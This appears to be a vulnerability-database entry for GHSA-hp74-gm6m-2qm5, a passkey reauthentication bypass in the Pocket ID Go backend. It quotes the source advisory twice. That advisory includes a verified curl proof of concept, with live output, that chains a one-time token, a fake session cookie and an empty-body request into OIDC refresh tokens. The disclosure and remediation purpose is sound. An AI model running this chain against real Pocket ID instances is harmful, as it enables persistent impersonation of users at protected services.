GHSA-hp74-gm6m-2qm5: Github.com/pocket id/pocket id/backend Authentication Bypass Vulnerability

MODERATE
CWE-287
Published
Advisory Summary

GHSA-hp74-gm6m-2qm5 is a MODERATE authentication bypass vulnerability (CWE-287: Improper Authentication) affecting Github.com/pocket id/pocket id/backend libraries in the Go ecosystem. The issue involves pocket id has a reauthentication bypass via one-time access token login — passkey step-up requirement defeated by jwt freshness check that accepts any login method. Remediation is available by upgrading affected packages to version 0.0.0-20260419162744-978ac87deffe.

GHSA-hp74-gm6m-2qm5 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-hp74-gm6m-2qm5
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-287: Improper Authentication
Affected Product Github.com/pocket id/pocket id/backend
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-hp74-gm6m-2qm5

To remediate this vulnerability, upgrade all affected Github.com/pocket id/pocket id/backend dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/pocket-id/pocket-id/backend fixed: 0.0.0-20260419162744-978ac87deffe
Upgrade github.com/pocket-id/pocket-id/backend to 0.0.0-20260419162744-978ac87deffe
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/pocket-id/pocket-id/backend

How to Check if You Are Affected

To determine whether your application is affected by GHSA-hp74-gm6m-2qm5, inspect your project dependencies for Github.com/pocket id/pocket id/backend:

inspect dependencies for github.com/pocket-id/pocket-id/backend

Analyze the terminal output to locate any version of Github.com/pocket id/pocket id/backend in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260419162744-978ac87deffe), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Github.com/pocket id/pocket id/backend, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Reauthentication Bypass via One-Time Access Token Login ## Summary A weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with `RequiresReauthentication: true`. The `POST /api/webauthn/reauthenticate` endpoint's access-token fallback checks only JWT freshness (`IssuedAt` within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. `session=deadbeef`) is accepted, collapsing the reauth boundary to token recency alone. The bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains `access_token` (1-hour TTL), `id_token` (victim's name, email, profile), and `refresh_token` (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely. ## Root Cause `CreateReauthenticationTokenWithAccessToken` (webauthn_service.go:362-403) only checks that the access token's `IssuedAt` claim is less than 60 seconds old: ```go // webauthn_service.go:378-381 tokenExpiration, ok := token.IssuedAt() if !ok || time.Since(tokenExpiration) > time.Minute { return "", &common.ReauthenticationRequiredError{} } ``` It does not check HOW the user originally authenticated. The `reauthenticateHandler` (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion: ```go // webauthn_controller.go:189-199 credentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body) if err == nil { token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...) } else { // FALLBACK: Only checks access token age, not auth method accessToken, _ := c.Cookie(cookie.AccessTokenCookieName) token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken) } ``` Additionally, the handler's session cookie check (line 180) only verifies that a cookie named `session` exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. `session=deadbeef`) satisfies the check: ```go // webauthn_controller.go:180-184 sessionID, err := c.Cookie(cookie.SessionIdCookieName) if err != nil { _ = c.Error(&common.MissingSessionIdError{}) return } // sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT // to CreateReauthenticationTokenWithAccessToken (the fallback path) ``` In the fallback path, the `sessionID` variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session. Meanwhile, `GenerateAccessToken` (jwt_service.go:190-195) always sets `IssuedAt(now)` regardless of how authentication was performed: ```go // jwt_service.go:191-195 now := time.Now() token, err := jwt.NewBuilder(). Subject(user.ID). Expiration(now.Add(...)). IssuedAt(now). // Always "now" — regardless of auth method ``` This function is called by: 1. WebAuthn login (intended passkey path) 2. One-time access token exchange (one_time_access_service.go:200) 3. User signup (user_signup_controller.go:182) All three produce tokens that bypass the reauthentication freshness check. ## Attack Chain **Precondition**: An OIDC client has `RequiresReauthentication: true`. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled). 1. **Exchange OTA for fresh JWT**: `POST /api/one-time-access-token/{token}` returns a fresh access token with `IssuedAt = now`. 2. **Set any session cookie**: The handler checks for cookie existence only. Set `session=deadbeef` (or any arbitrary value). No need to call `/api/webauthn/login/start`. 3. **Bypass reauthentication**: `POST /api/webauthn/reauthenticate` with empty body `{}` and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction. 4. **Authorize sensitive client**: `POST /api/oidc/authorize` with the reauthentication token and the target client's ID. The authorization code is issued. 5. **Get OIDC tokens**: `POST /api/oidc/token` exchanges the authorization code for access_token, id_token, and refresh_token. All steps complete in under 2 seconds (60-second window is trivial for scripts). ## Proof of Concept (Verified Live) Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. ```bash # Seed test database curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true # Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV) curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV # Returns 200 with user info, sets access_token cookie with IssuedAt=now # Bypass reauthentication - empty body triggers access token fallback # Session cookie can be ANY arbitrary value - handler only checks existence curl -s -b cookies.txt -b "session=deadbeef" -X POST http://localhost:1411/api/webauthn/reauthenticate \ -H "Content-Type: application/json" -d '{}' # Returns: {"reauthenticationToken":"al9JkF9kVI0V3UsAqMJIIF73N4ogHial"} # NO passkey interaction! Fake session cookie accepted! # Authorize sensitive OIDC client (after enabling RequiresReauthentication) curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \ -H "Content-Type: application/json" \ -d '{"clientID":"3654a746-...","scope":"openid profile email", "callbackURL":"http://nextcloud/auth/callback", "reauthenticationToken":"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7"}' # Returns: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"..."} # OIDC authorization code issued without passkey! # Exchange for full OIDC token set curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-..." # Returns: access_token, id_token, refresh_token ``` **Live output from the test run:** ``` [A3] Bypass reauthentication (empty body -> access token fallback)... Reauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7 [A4] Authorize Nextcloud (requiresReauthentication=true)... Authorize response: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"http://nextcloud/auth/callback","issuer":"http://localhost:1411"} [A5] Exchange authorization code for OIDC tokens... Token response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in'] === FULL CHAIN COMPLETE === ``` ## Impact The `RequiresReauthentication` feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access: - **Unauthorized victim-scoped downstream access**: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation. - **Persistent access via refresh token**: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access. - **Collapsed security boundary**: The passkey reauthentication requirement degenerates to two non-security-relevant checks: (1) JWT `IssuedAt` recency (satisfied by any login method) and (2) session cookie existence (satisfied by any arbitrary cookie value). Neither check verifies that a passkey ceremony occurred. - **Email compromise escalation**: An attacker who gains access to a user's email can trigger and intercept a one-time access token, then authorize any OIDC client including those the admin explicitly protected with passkey reauthentication. - **Downstream service exposure**: OIDC clients protected by reauthentication typically guard sensitive services (admin panels, CI/CD, infrastructure access). The bypass grants full OIDC tokens including access_token (1h TTL), id_token (with victim's name, email, profile), and refresh_token (30-day TTL, renewable). **Scope**: The bypass affects OIDC client authorization (the sole consumer of reauthentication tokens). Other sensitive operations (WebAuthn credential management, user profile changes, admin operations) do not use reauthentication tokens. **Escalation vectors investigated and ruled out**: - Non-admin privilege escalation: tested live, non-admin users get 403 on admin endpoints (OIDC client modification, OTA creation for other users). No middleware confusion. - IDOR in OTA minting: all OTA creation endpoints properly enforce admin auth or are self-service only. No cross-user forgery. - OTA replay: OTA tokens are properly single-use (deleted from DB on exchange). ## Suggested Fix The access-token fallback in `CreateReauthenticationTokenWithAccessToken` should verify that the session was established via a strong authentication method (passkey/WebAuthn), not just that the access token is fresh. **Option 1 (simplest)**: Remove the access-token fallback entirely. Always require a WebAuthn ceremony for reauthentication. **Option 2**: Add an `auth_method` claim to the access token when generated via passkey login. The reauthentication fallback should only succeed for tokens with `auth_method: "webauthn"`. ```go // In GenerateAccessToken, add auth method context func (s *JwtService) GenerateAccessToken(user model.User, authMethod string) (string, error) { // ... existing code ... // Add auth_method claim } // In CreateReauthenticationTokenWithAccessToken, check auth method func (s *WebAuthnService) CreateReauthenticationTokenWithAccessToken(...) (string, error) { // ... existing verification ... authMethod, _ := token.Get("auth_method") if authMethod != "webauthn" { return "", &common.ReauthenticationRequiredError{} } // ... rest of function ... } ``` ## Self-Review - **Is this by-design?** No. The 60-second freshness window was designed for UX after passkey login (avoid immediate re-prompt). But it accepts any fresh token, not just passkey-authenticated ones. The `RequiresReauthentication` feature clearly intends to enforce passkey interaction. - **Are there upstream bounds?** No. The only check is `IssuedAt` freshness. All login methods produce equivalent tokens. - **Honest weaknesses**: Requires obtaining a one-time access token (email interception or admin-issued). The 60-second window is tight for manual exploitation but trivial for scripts. Impact is limited to OIDC client authorization. The non-validating session cookie weakens the boundary but does not change the fundamental precondition (needing a fresh JWT). - **Existing reports**: No prior reports for this issue. CVE-2026-28512 and CVE-2026-28513 are unrelated. - **Prior art**: No competing reports found on GitHub issues, security advisories, or huntr. Koda Reef

GHSA-hp74-gm6m-2qm5 Affected Github.com/pocket id/pocket id/backend Versions

1 component(s)
Fixed Versions:
0.0.0-20260419162744-978ac87deffe
Product / Package Ecosystem Affected Versions Fixed Version
github.com/pocket-id/pocket-id/backend
Go
< 0.0.0-20260419162744-978ac87deffe
0.0.0-20260419162744-978ac87deffe

References

Frequently Asked Questions

What is GHSA-hp74-gm6m-2qm5?
GHSA-hp74-gm6m-2qm5 is a security vulnerability in Github.com/pocket id/pocket id/backend involving Pocket ID has a reauthentication bypass via one-time access token login — passkey step-up requirement defeated by JWT freshness check that accepts any login method under CWE-287: Improper Authentication.
Which Github.com/pocket id/pocket id/backend versions are affected?
Affected versions include releases prior to 0.0.0-20260419162744-978ac87deffe across affected packages: github.com/pocket-id/pocket-id/backend.
What version fixes GHSA-hp74-gm6m-2qm5?
Upgrading to 0.0.0-20260419162744-978ac87deffe (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/pocket-id/pocket-id/backend affected?
Yes, github.com/pocket-id/pocket-id/backend is affected in releases prior to 0.0.0-20260419162744-978ac87deffe. Upgrade your dependency to 0.0.0-20260419162744-978ac87deffe or later.
What CWE is associated with GHSA-hp74-gm6m-2qm5?
GHSA-hp74-gm6m-2qm5 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Go dependencies for GHSA-hp74-gm6m-2qm5?
Run the dependency tree command: 'inspect dependencies for github.com/pocket-id/pocket-id/backend'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hp74-gm6m-2qm5",
  "modified" : "2026-07-28T14:25:30Z",
  "published" : "2026-07-28T14:25:30Z",
  "aliases" : [ ],
  "summary" : "Pocket ID has a reauthentication bypass via one-time access token login — passkey step-up requirement defeated by JWT freshness check that accepts any login method",
  "details" : "# Reauthentication Bypass via One-Time Access Token Login\n\n## Summary\n\nA weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with `RequiresReauthentication: true`. The `POST /api/webauthn/reauthenticate` endpoint's access-token fallback checks only JWT freshness (`IssuedAt` within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. `session=deadbeef`) is accepted, collapsing the reauth boundary to token recency alone.\n\nThe bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains `access_token` (1-hour TTL), `id_token` (victim's name, email, profile), and `refresh_token` (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.\n\n## Root Cause\n\n`CreateReauthenticationTokenWithAccessToken` (webauthn_service.go:362-403) only checks that the access token's `IssuedAt` claim is less than 60 seconds old:\n\n```go\n// webauthn_service.go:378-381\ntokenExpiration, ok := token.IssuedAt()\nif !ok || time.Since(tokenExpiration) > time.Minute {\n    return \"\", &common.ReauthenticationRequiredError{}\n}\n```\n\nIt does not check HOW the user originally authenticated. The `reauthenticateHandler` (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:\n\n```go\n// webauthn_controller.go:189-199\ncredentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)\nif err == nil {\n    token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)\n} else {\n    // FALLBACK: Only checks access token age, not auth method\n    accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)\n    token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)\n}\n```\n\nAdditionally, the handler's session cookie check (line 180) only verifies that a cookie named `session` exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. `session=deadbeef`) satisfies the check:\n\n```go\n// webauthn_controller.go:180-184\nsessionID, err := c.Cookie(cookie.SessionIdCookieName)\nif err != nil {\n    _ = c.Error(&common.MissingSessionIdError{})\n    return\n}\n// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT\n// to CreateReauthenticationTokenWithAccessToken (the fallback path)\n```\n\nIn the fallback path, the `sessionID` variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.\n\nMeanwhile, `GenerateAccessToken` (jwt_service.go:190-195) always sets `IssuedAt(now)` regardless of how authentication was performed:\n\n```go\n// jwt_service.go:191-195\nnow := time.Now()\ntoken, err := jwt.NewBuilder().\n    Subject(user.ID).\n    Expiration(now.Add(...)).\n    IssuedAt(now).  // Always \"now\" — regardless of auth method\n```\n\nThis function is called by:\n1. WebAuthn login (intended passkey path)\n2. One-time access token exchange (one_time_access_service.go:200)\n3. User signup (user_signup_controller.go:182)\n\nAll three produce tokens that bypass the reauthentication freshness check.\n\n## Attack Chain\n\n**Precondition**: An OIDC client has `RequiresReauthentication: true`. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).\n\n1. **Exchange OTA for fresh JWT**: `POST /api/one-time-access-token/{token}` returns a fresh access token with `IssuedAt = now`.\n\n2. **Set any session cookie**: The handler checks for cookie existence only. Set `session=deadbeef` (or any arbitrary value). No need to call `/api/webauthn/login/start`.\n\n3. **Bypass reauthentication**: `POST /api/webauthn/reauthenticate` with empty body `{}` and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.\n\n4. **Authorize sensitive client**: `POST /api/oidc/authorize` with the reauthentication token and the target client's ID. The authorization code is issued.\n\n5. **Get OIDC tokens**: `POST /api/oidc/token` exchanges the authorization code for access_token, id_token, and refresh_token.\n\nAll steps complete in under 2 seconds (60-second window is trivial for scripts).\n\n## Proof of Concept (Verified Live)\n\nTested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.\n\n```bash\n# Seed test database\ncurl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true\n\n# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)\ncurl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV\n# Returns 200 with user info, sets access_token cookie with IssuedAt=now\n\n# Bypass reauthentication - empty body triggers access token fallback\n# Session cookie can be ANY arbitrary value - handler only checks existence\ncurl -s -b cookies.txt -b \"session=deadbeef\" -X POST http://localhost:1411/api/webauthn/reauthenticate \\\n  -H \"Content-Type: application/json\" -d '{}'\n# Returns: {\"reauthenticationToken\":\"al9JkF9kVI0V3UsAqMJIIF73N4ogHial\"}\n# NO passkey interaction! Fake session cookie accepted!\n\n# Authorize sensitive OIDC client (after enabling RequiresReauthentication)\ncurl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"clientID\":\"3654a746-...\",\"scope\":\"openid profile email\",\n       \"callbackURL\":\"http://nextcloud/auth/callback\",\n       \"reauthenticationToken\":\"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7\"}'\n# Returns: {\"code\":\"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3\",\"callbackURL\":\"...\"}\n# OIDC authorization code issued without passkey!\n\n# Exchange for full OIDC token set\ncurl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-...\"\n# Returns: access_token, id_token, refresh_token\n```\n\n**Live output from the test run:**\n```\n[A3] Bypass reauthentication (empty body -> access token fallback)...\nReauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7\n[A4] Authorize Nextcloud (requiresReauthentication=true)...\nAuthorize response: {\"code\":\"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3\",\"callbackURL\":\"http://nextcloud/auth/callback\",\"issuer\":\"http://localhost:1411\"}\n[A5] Exchange authorization code for OIDC tokens...\nToken response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in']\n=== FULL CHAIN COMPLETE ===\n```\n\n## Impact\n\nThe `RequiresReauthentication` feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:\n\n- **Unauthorized victim-scoped downstream access**: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation.\n- **Persistent access via refresh token**: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access.\n- **Collapsed security boundary**: The passkey reauthentication requirement degenerates to two non-security-relevant checks: (1) JWT `IssuedAt` recency (satisfied by any login method) and (2) session cookie existence (satisfied by any arbitrary cookie value). Neither check verifies that a passkey ceremony occurred.\n- **Email compromise escalation**: An attacker who gains access to a user's email can trigger and intercept a one-time access token, then authorize any OIDC client including those the admin explicitly protected with passkey reauthentication.\n- **Downstream service exposure**: OIDC clients protected by reauthentication typically guard sensitive services (admin panels, CI/CD, infrastructure access). The bypass grants full OIDC tokens including access_token (1h TTL), id_token (with victim's name, email, profile), and refresh_token (30-day TTL, renewable).\n\n**Scope**: The bypass affects OIDC client authorization (the sole consumer of reauthentication tokens). Other sensitive operations (WebAuthn credential management, user profile changes, admin operations) do not use reauthentication tokens.\n\n**Escalation vectors investigated and ruled out**:\n- Non-admin privilege escalation: tested live, non-admin users get 403 on admin endpoints (OIDC client modification, OTA creation for other users). No middleware confusion.\n- IDOR in OTA minting: all OTA creation endpoints properly enforce admin auth or are self-service only. No cross-user forgery.\n- OTA replay: OTA tokens are properly single-use (deleted from DB on exchange).\n\n## Suggested Fix\n\nThe access-token fallback in `CreateReauthenticationTokenWithAccessToken` should verify that the session was established via a strong authentication method (passkey/WebAuthn), not just that the access token is fresh.\n\n**Option 1 (simplest)**: Remove the access-token fallback entirely. Always require a WebAuthn ceremony for reauthentication.\n\n**Option 2**: Add an `auth_method` claim to the access token when generated via passkey login. The reauthentication fallback should only succeed for tokens with `auth_method: \"webauthn\"`.\n\n```go\n// In GenerateAccessToken, add auth method context\nfunc (s *JwtService) GenerateAccessToken(user model.User, authMethod string) (string, error) {\n    // ... existing code ...\n    // Add auth_method claim\n}\n\n// In CreateReauthenticationTokenWithAccessToken, check auth method\nfunc (s *WebAuthnService) CreateReauthenticationTokenWithAccessToken(...) (string, error) {\n    // ... existing verification ...\n    authMethod, _ := token.Get(\"auth_method\")\n    if authMethod != \"webauthn\" {\n        return \"\", &common.ReauthenticationRequiredError{}\n    }\n    // ... rest of function ...\n}\n```\n\n## Self-Review\n\n- **Is this by-design?** No. The 60-second freshness window was designed for UX after passkey login (avoid immediate re-prompt). But it accepts any fresh token, not just passkey-authenticated ones. The `RequiresReauthentication` feature clearly intends to enforce passkey interaction.\n- **Are there upstream bounds?** No. The only check is `IssuedAt` freshness. All login methods produce equivalent tokens.\n- **Honest weaknesses**: Requires obtaining a one-time access token (email interception or admin-issued). The 60-second window is tight for manual exploitation but trivial for scripts. Impact is limited to OIDC client authorization. The non-validating session cookie weakens the boundary but does not change the fundamental precondition (needing a fresh JWT).\n- **Existing reports**: No prior reports for this issue. CVE-2026-28512 and CVE-2026-28513 are unrelated.\n- **Prior art**: No competing reports found on GitHub issues, security advisories, or huntr.\n\n\nKoda Reef",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pocket-id/pocket-id/backend"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260419162744-978ac87deffe"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-hp74-gm6m-2qm5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pocket-id/pocket-id/commit/978ac87deffec58beaccd15aead975e91b94c8a5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pocket-id/pocket-id"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pocket-id/pocket-id/releases/tag/v2.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-28T14:25:30Z",
    "nvd_published_at" : null
  }
}